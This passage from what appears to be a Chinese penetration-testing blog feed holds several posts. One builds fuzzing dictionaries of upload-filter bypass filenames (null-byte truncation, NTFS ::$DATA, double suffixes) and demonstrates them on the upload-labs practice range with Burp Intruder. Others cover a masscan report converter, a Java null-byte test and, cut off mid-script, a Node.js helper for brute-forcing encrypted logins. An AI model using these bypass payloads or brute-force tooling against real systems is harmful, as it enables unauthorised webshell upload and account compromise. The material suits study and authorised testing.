align="center">√</td></tr></tbody></table><p>根据上表,我们明白</p><ul><li>iis下可以运行asp/aspx,php,jsp脚本,故这3种脚本语言可解析后缀均应该传入iis_suffix_builder()进行处理</li><li>apache下可以运行asp/aspx,php。故这2两种脚本语言可解析后缀均应该传入apache_suffix_builder()进行处理</li><li>tomcat下可以运行php,jsp,故这两个脚本语言可解析后缀均应该传入tomcat_suffix_builder()进行处理。</li><li>注意:根据对tomcat上传的绕过分析,发现之后在windows平台下才能成功。故之后在Windows平台下才会调用<code>tomcat_suffix_builder()</code>对可解析后缀进行处理。</li></ul><p>故伪代码可以编写如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> middleware == <span class="string">'iis'</span>:</span><br><span class="line">case_asp_php_jsp_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_jsp_parse_suffix</span><br><span class="line">middleware_parse_suffix = iis_suffix_creater(case_asp_php_jsp_parse_suffix)</span><br><span class="line"><span class="keyword">elif</span> middleware == <span class="string">'apache'</span>:</span><br><span class="line">case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix</span><br><span class="line">middleware_parse_suffix = apache_suffix_creater(case_asp_php_html_parse_suffix)</span><br><span class="line"><span class="keyword">elif</span> middleware == <span class="string">'tomcat'</span> <span class="keyword">and</span> os == <span class="string">'linux'</span>:</span><br><span class="line">middleware_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix</span><br><span class="line"><span class="keyword">elif</span> middleware == <span class="string">'tomcat'</span> <span class="keyword">and</span> (os == <span class="string">'win'</span> <span class="keyword">or</span> os == <span class="string">'all'</span>):</span><br><span class="line">case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix</span><br><span class="line">middleware_parse_suffix = tomcat_suffix_creater(case_php_jsp_parse_suffix)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">case_asp_php_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix</span><br><span class="line">iis_parse_suffix = iis_suffix_creater(case_asp_php_parse_suffix)</span><br><span class="line">case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix</span><br><span class="line">apache_parse_suffix = apache_build(case_asp_php_html_parse_suffix)</span><br><span class="line">case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix</span><br><span class="line">tomcat_parse_suffix = tomcat_build(case_php_jsp_parse_suffix)</span><br><span class="line">middleware_parse_suffix = iis_parse_suffix + apache_parse_suffix + tomcat_parse_suffix</span><br></pre></td></tr></table></figure><h2 id="五、系统特性"><a href="#五、系统特性" class="headerlink" title="五、系统特性"></a>五、系统特性</h2><p>经过查资料,目前发现在系统层面,有以下特性可以被上传漏洞所利用。</p><ul><li>Windows下文件名不区分大小写,Linux下文件名区分大写欧西</li><li>Windows下ADS流特性,导致上传文件xxx.php::$DATA = xxx.php</li><li>Windows下文件名结尾加入<code>.</code>,<code>空格</code>,<code><</code>,·<code>></code>,<code>>>></code>,<code>0x81-0xff</code>等字符,最终生成的文件均被windows忽略。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 生成0x81-0xff的字符list</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">str_81_to_ff</span><span class="params">()</span>:</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">129</span>,<span class="number">256</span>):</span><br><span class="line">str = <span class="string">'%x'</span> % i</span><br><span class="line">str = <span class="string">'%'</span> + str</span><br><span class="line">str = urllib.unquote(str)</span><br><span class="line">res.append(str)</span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line">windows_os = [<span class="string">' '</span>,<span class="string">'.'</span>,<span class="string">'/'</span>,<span class="string">'::$DATA'</span>,<span class="string">'<'</span>,<span class="string">'>'</span>,<span class="string">'>>>'</span>,<span class="string">'%20'</span>,<span class="string">'%00'</span>] + str_81_to_ff()</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">windows_suffix_builder</span><span class="params">(suffix)</span>:</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> suffix:</span><br><span class="line"><span class="keyword">for</span> w <span class="keyword">in</span> windows_os:</span><br><span class="line">str = <span class="string">'%s%s'</span> % (s,w)</span><br><span class="line">res.append(str)</span><br><span class="line"><span class="keyword">return</span> res</span><br></pre></td></tr></table></figure><h2 id="六、语言的漏洞"><a href="#六、语言的漏洞" class="headerlink" title="六、语言的漏洞"></a>六、语言的漏洞</h2><p>语言漏洞被利用于上传的有%00截断和0x00截断。它们在asp,php和jsp中都存在着。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">str_00_truncation</span><span class="params">(suffix,allow_suffix)</span>:</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> suffix:</span><br><span class="line">str = <span class="string">'%s%s.%s'</span> % (i,<span class="string">'%00'</span>,allow_suffix)</span><br><span class="line">res.append(str)</span><br><span class="line">str = <span class="string">'%s%s.%s'</span> % (i,urllib.unquote(<span class="string">'%00'</span>),allow_suffix)</span><br><span class="line">res.append(str)</span><br><span class="line"><span class="keyword">return</span> res</span><br></pre></td></tr></table></figure><h2 id="七、双后缀"><a href="#七、双后缀" class="headerlink" title="七、双后缀"></a>七、双后缀</h2><p>有些站点通过对上传文件名进行删除敏感字符(php,asp,jsp等等)的方式进行过滤,例如你上传一个aphp.jpg的文件,那么上传之后就变成了a.jpg。这时就可以利用双后缀的方式上传一个a.pphphp,最终正好生成a.php。其实双后缀与中间件和操作系统无关,而是和代码逻辑有关。</p><p>针对双后缀,我们可以写个<code>str_double_suffix_creater(suffix)</code>函数,传入后缀名suffix即可生成所有的双后缀可能。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">str_double_suffix_creater</span><span class="params">(suffix)</span>:</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,len(suffix)):</span><br><span class="line">str = list(suffix)</span><br><span class="line">str.insert(i,suffix)</span><br><span class="line">res.append(<span class="string">""</span>.join(str))</span><br><span class="line"><span class="keyword">return</span> res</span><br></pre></td></tr></table></figure><p>在<code>list_double_suffix_creater(suffix)</code>函数基础上,<br>可以编写<code>list_double_suffix_creater(list_suffix)</code>来为一个list生成所有双后缀可能。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">list_double_suffix_creater</span><span class="params">(list_suffix)</span>:</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> l <span class="keyword">in</span> list_suffix:</span><br><span class="line">res += double_suffix_creater(l)</span><br><span class="line"><span class="keyword">return</span> duplicate_removal(res)</span><br></pre></td></tr></table></figure><h2 id="八、整合代码"><a href="#八、整合代码" class="headerlink" title="八、整合代码"></a>八、整合代码</h2><p>上面我们针对和上传漏洞相关的每个方面进行了细致的分析,也提供了相关的核心代码。最终整合后的代码限于边幅,就放在github上了。</p><p><strong>github:<a href="https://github.com/c0ny1/upload-fuzz-dic-builder" target="_blank" rel="noopener">https://github.com/c0ny1/upload-fuzz-dic-builder</a></strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$ python upload-fuzz-dic-builder.py -h</span><br><span class="line">usage: upload-fuzz-dic-builder [-h] [-n] [-a] [-l] [-m] [--os] [-d] [-o]</span><br><span class="line"></span><br><span class="line">optional arguments:</span><br><span class="line"> -h, --help show this help message and exit</span><br><span class="line"> -n , --upload-filename</span><br><span class="line"> Upload file name</span><br><span class="line"> -a , --allow-suffix Allowable upload suffix</span><br><span class="line"> -l , --language Uploaded script language</span><br><span class="line"> -m , --middleware Middleware used in Web System</span><br><span class="line"> --os Target operating system type</span><br><span class="line"> -d, --double-suffix Is it possible to generate double suffix?</span><br><span class="line"> -o , --output Output file</span><br></pre></td></tr></table></figure><p>脚本可以之定义生成的上传文件名(-n),允许的上传的后缀(-a),后端语言(-l),中间件(-m),操作系统(–os),是否加入双后缀(-d)以及输出的字典文件名(-o)。我们可以根据场景来生成合适的字典,提供的信息越详细,脚本生成的字典越精确。</p><h2 id="九、案例"><a href="#九、案例" class="headerlink" title="九、案例"></a>九、案例</h2><p><a href="https://github.com/c0ny1/upload-labs" target="_blank" rel="noopener">upload-labs</a>靶场的Pass0-3到Pass-10其实都是关于后缀的,在不知道代码的情况下,我们如何快速发现可以绕过的后缀呢?这时我们就可以使用<code>upload-fuzz-dic-builder.py</code>脚本生成fuzz字典,来进行fuzz。这里我选择Pass-09来给大家演示。</p><h4 id="1-利用脚本生成fuzz字典。"><a href="#1-利用脚本生成fuzz字典。" class="headerlink" title="1.利用脚本生成fuzz字典。"></a>1.利用脚本生成fuzz字典。</h4><p>由于知道我们的后端语言为<code>php</code>,中间件为<code>apache</code>,操作系统为<code>Windows</code>。所以可以利用这些信息生成更精确的fuzz字典。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ python upload-fuzz-dic-builder.py -l php -m apache --os win</span><br><span class="line">[+] 收集17条可解析后缀完毕!</span><br><span class="line">[+] 加入145条可解析后缀大小写混合完毕!</span><br><span class="line">[+] 加入152条中间件漏洞完毕!</span><br><span class="line">[+] 加入37条.htaccess完毕!</span><br><span class="line">[+] 加入10336条系统特性完毕!</span><br><span class="line">[+] 去重后共10753条数据写入upload_fuzz_dic.txt文件</span><br></pre></td></tr></table></figure><p><img src="/articles/2018/make-upload-vul-fuzz-dic/upload_fuzz_dic.png" alt="图1-生成的字典"></p><h4 id="2-抓包使用burp的Intruder模块对上传名称进行fuzz"><a href="#2-抓包使用burp的Intruder模块对上传名称进行fuzz" class="headerlink" title="2.抓包使用burp的Intruder模块对上传名称进行fuzz"></a>2.抓包使用burp的Intruder模块对上传名称进行fuzz</h4><p>抓取upload-labs的Pass-09的上传包,发送到Intruder模块,加载第一步脚本生成的fuzz字典,对上传的包的文件名进行fuzz。</p><p><img src="/articles/2018/make-upload-vul-fuzz-dic/fuzz_result.png" alt="图2-fuzz结果"></p><p>经过测试,通过fuzz可以快速找到可以突破upload-labs那些基于后缀的Pass的payload。甚至fuzz出同一个Pass多种绕过的方法。</p><p><strong>本文已在freebuf上首发:<a href="https://www.freebuf.com/articles/web/188464.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/web/188464.html</a></strong></p>]]></content>
<categories>
<category> 编程开发 </category>
</categories>
<tags>
<tag> fuzz </tag>
</tags>
</entry>
<entry>
<title>编写masscan报告转换脚本</title>
<link href="/articles/2018/masscan-report-converter/"/>
<url>/articles/2018/masscan-report-converter/</url>
<content type="html"><![CDATA[<p>由于nmap扫描比较慢,有时候需要使用masscan对大段ip进行快速扫描。为了后续方便数据处理,往往需要将数据以xls的形式进行统计,但是masscan只支持xml,json,list等格式输出,并不支持直接输出xls格式。最近有正好这个需求,于是写了个小脚本来转换一下。</p><h2 id="一、编码"><a href="#一、编码" class="headerlink" title="一、编码"></a>一、编码</h2><h4 id="file-masscan-report-converter-py"><a href="#file-masscan-report-converter-py" class="headerlink" title="file: masscan-report-converter.py"></a>file: masscan-report-converter.py</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> xml.dom.minidom</span><br><span class="line"><span class="keyword">import</span> xlsxwriter</span><br><span class="line"><span class="keyword">from</span> xlsxwriter <span class="keyword">import</span> Workbook</span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">author: c0ny1</span></span><br><span class="line"><span class="string">date: 2018-09-28 18:23</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">convert_masscan_report</span><span class="params">(xml_path,xls_path)</span>:</span></span><br><span class="line">workbook = xlsxwriter.Workbook(xls_path)</span><br><span class="line">worksheet = workbook.add_worksheet(<span class="string">'Scan info'</span>)</span><br><span class="line">worksheet.autofilter(<span class="string">"A1:H1"</span>) <span class="comment">#设置过滤</span></span><br><span class="line">worksheet.freeze_panes(<span class="number">1</span>, <span class="number">0</span>) <span class="comment">#冻结窗格</span></span><br><span class="line"></span><br><span class="line">worksheet.lastrow = <span class="number">0</span></span><br><span class="line">summary_header = [<span class="string">"addr"</span>, <span class="string">"port"</span>, <span class="string">"state"</span>, <span class="string">"protocol"</span>, <span class="string">"addrtype"</span>, <span class="string">"reason"</span>, <span class="string">"reason_ttl"</span>, <span class="string">"scan_endtime"</span>]</span><br><span class="line"><span class="keyword">for</span> idx, item <span class="keyword">in</span> enumerate(summary_header):</span><br><span class="line">worksheet.write(<span class="number">0</span>, idx, item,workbook.add_format({<span class="string">"bold"</span>: <span class="literal">True</span>}))</span><br><span class="line">worksheet.lastrow += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">DOMTree = xml.dom.minidom.parse(xml_path) </span><br><span class="line">data = DOMTree.documentElement</span><br><span class="line">nodelist = data.getElementsByTagName(<span class="string">'host'</span>)</span><br><span class="line">host_info = {}</span><br><span class="line"><span class="keyword">for</span> node <span class="keyword">in</span> nodelist:</span><br><span class="line">scan_endtime = node.getAttribute(<span class="string">'endtime'</span>)</span><br><span class="line">scan_endtime = time.strftime(<span class="string">'%Y-%m-%d %H:%M:%S'</span>,time.localtime(int(scan_endtime)))</span><br><span class="line">address_node = node.getElementsByTagName(<span class="string">'address'</span>)</span><br><span class="line">addrtype = address_node[<span class="number">0</span>].getAttribute(<span class="string">'addrtype'</span>)</span><br><span class="line">addr = address_node[<span class="number">0</span>].getAttribute(<span class="string">'addr'</span>)</span><br><span class="line">port_node = node.getElementsByTagName(<span class="string">'port'</span>)</span><br><span class="line"><span class="keyword">for</span> port <span class="keyword">in</span> port_node:</span><br><span class="line">protocol = port.getAttribute(<span class="string">'protocol'</span>)</span><br><span class="line">portid = port.getAttribute(<span class="string">'portid'</span>)</span><br><span class="line">state_element = port.getElementsByTagName(<span class="string">'state'</span>)</span><br><span class="line">state = state_element[<span class="number">0</span>].getAttribute(<span class="string">'state'</span>)</span><br><span class="line">reason = state_element[<span class="number">0</span>].getAttribute(<span class="string">'reason'</span>)</span><br><span class="line">reason_ttl = state_element[<span class="number">0</span>].getAttribute(<span class="string">'reason_ttl'</span>)</span><br><span class="line"><span class="keyword">print</span> <span class="string">'[+] | %s | %s | %s | %s | %s | %s | %s | %s |'</span> % (addr,portid,state,protocol,addrtype,reason,reason_ttl,scan_endtime)</span><br><span class="line">scan_info = [addr,portid,state,protocol,addrtype,reason,reason_ttl,scan_endtime]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,len(scan_info)):</span><br><span class="line">worksheet.write(worksheet.lastrow, i, scan_info[i])</span><br><span class="line">worksheet.lastrow += <span class="number">1</span></span><br><span class="line">workbook.close()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">parser = argparse.ArgumentParser()</span><br><span class="line">parser.add_argument(<span class="string">"-i"</span>, <span class="string">"--input"</span>, metavar=<span class="string">"XML"</span>, help=<span class="string">"path to xml input"</span>)</span><br><span class="line">parser.add_argument(<span class="string">"-o"</span>, <span class="string">"--output"</span>, metavar=<span class="string">"XLS"</span>, help=<span class="string">"path to xlsx output"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> len(sys.argv) == <span class="number">1</span>:</span><br><span class="line">sys.argv.append(<span class="string">'-h'</span>)</span><br><span class="line"></span><br><span class="line">args = parser.parse_args()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.input:</span><br><span class="line">xml_path = args.input</span><br><span class="line"><span class="keyword">else</span> :</span><br><span class="line">exit(<span class="string">'[*] please use -i set xml path!'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> os.path.lexists(xml_path) == <span class="literal">False</span>:</span><br><span class="line">exit(<span class="string">'[*] %s does not exist!'</span>,xml_path)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.output:</span><br><span class="line">xls_path = args.output</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">xls_path = <span class="string">'./masscan_report.xls'</span></span><br><span class="line"></span><br><span class="line">convert_masscan_report(xml_path,xls_path)</span><br></pre></td></tr></table></figure><p>目前脚本已经收集到我的WorkScript项目中,地址如下:</p><p><a href="https://github.com/c0ny1/WorkScripts/tree/master/masscan-report-converter" target="_blank" rel="noopener">https://github.com/c0ny1/WorkScripts/tree/master/masscan-report-converter</a></p><h2 id="二、使用步骤"><a href="#二、使用步骤" class="headerlink" title="二、使用步骤"></a>二、使用步骤</h2><h5 id="1-使用masscan进行扫描,扫描结果以xml保存"><a href="#1-使用masscan进行扫描,扫描结果以xml保存" class="headerlink" title="1.使用masscan进行扫描,扫描结果以xml保存"></a>1.使用masscan进行扫描,扫描结果以xml保存</h5><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">masscan.exe -p21,22,23,80,7001,5900 10.0.0.0/8 --rate=100000 -oX scan_result.xml</span><br></pre></td></tr></table></figure><h5 id="2-使用上面写的脚本转换出xls格式的报告"><a href="#2-使用上面写的脚本转换出xls格式的报告" class="headerlink" title="2.使用上面写的脚本转换出xls格式的报告"></a>2.使用上面写的脚本转换出xls格式的报告</h5><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">masscan-report-converter.py -i scan_result.xml -o scan_result.xls</span><br></pre></td></tr></table></figure><p>最终效果如下:</p><p><img src="/articles/2018/masscan-report-converter/convert_result.png" alt="图1-脚本转换后的报告"></p>]]></content>
<categories>
<category> 编程开发 </category>
</categories>
</entry>
<entry>
<title>从代码层面理解java的00截断漏洞</title>
<link href="/articles/2018/java-00-truncation/"/>
<url>/articles/2018/java-00-truncation/</url>
<content type="html"><![CDATA[<p>我们一般研究00截断,基本都是使用php来写的漏洞demo。所以都知道php下的00截断是和<code>move_upload_file()</code>这个函数有关,和这个漏洞相关的CVE有两个(CVE-2006-7243和CVE-2015-2348 )。但搜索了网上的资料,发现对java的00截断的研究文章甚少。 <strong>完全搞不清在java中这个漏洞是和系统,中间件,jdk,还是代码有关?如果是代码问题,那是某个函数存在漏洞呢,还是代码逻辑问题?</strong></p><h2 id="一、实验编码"><a href="#一、实验编码" class="headerlink" title="一、实验编码"></a>一、实验编码</h2><p>在系统c盘根目录新建两个文件,分别如下:</p><h4 id="1-1-test-jsp"><a href="#1-1-test-jsp" class="headerlink" title="1.1 test.jsp"></a>1.1 test.jsp</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">this is test.jsp</span><br></pre></td></tr></table></figure><h4 id="1-2-test-txt"><a href="#1-2-test-txt" class="headerlink" title="1.2 test.txt"></a>1.2 test.txt</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">this is test.txt</span><br></pre></td></tr></table></figure><h4 id="1-3-测试代码"><a href="#1-3-测试代码" class="headerlink" title="1.3 测试代码"></a>1.3 测试代码</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.net.URLDecoder;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">T1</span> </span>{</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line">String path = <span class="string">"c://test.jsp"</span>+URLDecoder.decode(<span class="string">"%00"</span>)+<span class="string">"test.txt"</span>;</span><br><span class="line">System.out.println(<span class="string">"filename:"</span> + path);</span><br><span class="line">File file = <span class="keyword">new</span> File(path);</span><br><span class="line">System.out.print(<span class="string">"content:"</span>);</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line">FileInputStream fis = <span class="keyword">new</span> FileInputStream(file);</span><br><span class="line"><span class="keyword">int</span> b;</span><br><span class="line"><span class="keyword">while</span>((b = fis.read()) != -<span class="number">1</span>){</span><br><span class="line">System.out.print((<span class="keyword">char</span>)b);</span><br><span class="line">}</span><br><span class="line">fis.close();</span><br><span class="line">} <span class="keyword">catch</span> (FileNotFoundException e) {</span><br><span class="line">e.printStackTrace();</span><br><span class="line">} <span class="keyword">catch</span> (IOException e) {</span><br><span class="line">e.printStackTrace();</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="二、测试结果"><a href="#二、测试结果" class="headerlink" title="二、测试结果"></a>二、测试结果</h2><p>jdk1.6.0</p><p><img src="/articles/2018/java-00-truncation/test_in_jdk1.6.png" alt></p><p>jdk1.7.0</p><p><img src="/articles/2018/java-00-truncation/test_in_jdk1.7.png" alt></p><p>jdk1.7.08(最新的1.7版本)</p><p><img src="/articles/2018/java-00-truncation/test_in_jdk1.7.0_80.png" alt></p><h2 id="三、总结"><a href="#三、总结" class="headerlink" title="三、总结"></a>三、总结</h2><p>目前的结论:java的00截断和jdk版本有关。漏洞更深层次的原理,我会在代码审计完,进行更细致的研究,到时候更新文章。最后感谢公司背影表哥的指点。</p>]]></content>
<categories>
<category> 漏洞原理 </category>
</categories>
<tags>
<tag> 00截断 </tag>
</tags>
</entry>
<entry>
<title>jsEncrypter的Node.js版server脚本</title>
<link href="/articles/2018/jsEncrypter-nodejs-server-script/"/>
<url>/articles/2018/jsEncrypter-nodejs-server-script/</url>
<content type="html"><![CDATA[<p>最近在公众号发现有小伙伴在使用nodejs调用加密脚本对密码进行加密暴力破解。于是打算给Burp插件jsEncrypter添加<code>nodejs</code>版本的server脚本。目前已经更新该脚本到项目中,感兴趣的小伙伴可以去试试效果。</p><h2 id="Node-js版server脚本代码"><a href="#Node-js版server脚本代码" class="headerlink" title="Node.js版server脚本代码"></a>Node.js版server脚本代码</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * author: c0ny1</span></span><br><span class="line"><span class="comment"> * date: 2018-4-14</span></span><br><span class="line"><span class="comment"> * file: nodejs_server.js</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> http = <span class="built_in">require</span>(<span class="string">'http'</span>);</span><br><span class="line"><span class="keyword">var</span> querystring = <span class="built_in">require</span>(<span class="string">'querystring'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> host = <span class="string">'127.0.0.1'</span>; <span class="comment">//地址</span></span><br><span class="line"><span class="keyword">var</span> port = <span class="string">'1664'</span>; <span class="comment">//端口</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//require('your_encrypte_script.js'); /*引入实现加密的js文件*/</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">require</span>(<span class="string">'./sha384.js'</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理函数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">js_encrypt</span>(<span class="params">payload</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> newpayload;</span><br><span class="line"><span class="comment">/**********在这里编写调用加密函数进行加密的代码************/</span></span><br><span class="line"><span class="keyword">var</span> pwdhash=CryptoJS.SHA384(payload);</span><br><span class="line">newpayload = pwdhash.toString();</span><br><span class="line"><span class="comment">/**********************************************************/</span></span><br><span class="line"><span class="keyword">return</span> newpayload;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> server = 